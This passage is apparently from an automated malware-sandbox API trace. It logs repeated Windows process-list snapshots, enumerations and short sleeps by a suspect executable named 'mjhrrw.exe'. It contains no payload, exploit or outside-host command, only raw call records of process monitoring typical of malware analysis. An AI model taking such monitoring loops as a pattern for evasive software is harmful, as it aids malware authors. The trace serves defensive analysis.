th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.838] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.839] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.839] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.840] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.840] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.841] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.842] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.842] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.843] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.843] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.844] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0231.844] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0231.845] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.845] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.846] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.846] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.847] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.848] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.849] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.850] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.850] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.851] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.852] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.853] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0232.370] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0232.371] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0232.371] CloseHandle (hObject=0x364) returned 1 [0232.371] Sleep (dwMilliseconds=0x1f4) [0233.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0233.112] Process32FirstW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.112] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.113] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.113] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.114] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.115] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.115] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.116] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.116] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.117] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.118] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.118] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.119] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.119] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.120] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.121] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.121] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.122] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.122] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.123] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.123] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.124] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.125] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.125] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.126] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.126] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.127] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.128] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0233.128] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0233.129] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0233.129] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.130] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.130] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.131] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.131] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.132] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.133] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.134] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.135] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.135] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.136] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.136] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0233.137] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0233.137] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0233.138] CloseHandle (hObject=0x358) returned 1 [0233.138] Sleep (dwMilliseconds=0x1f4) [0233.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0233.780] Process32FirstW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.781] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.782] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.782] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.786] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.787] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.787] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.788] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.788] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.789] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.789] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.790] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.791] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, 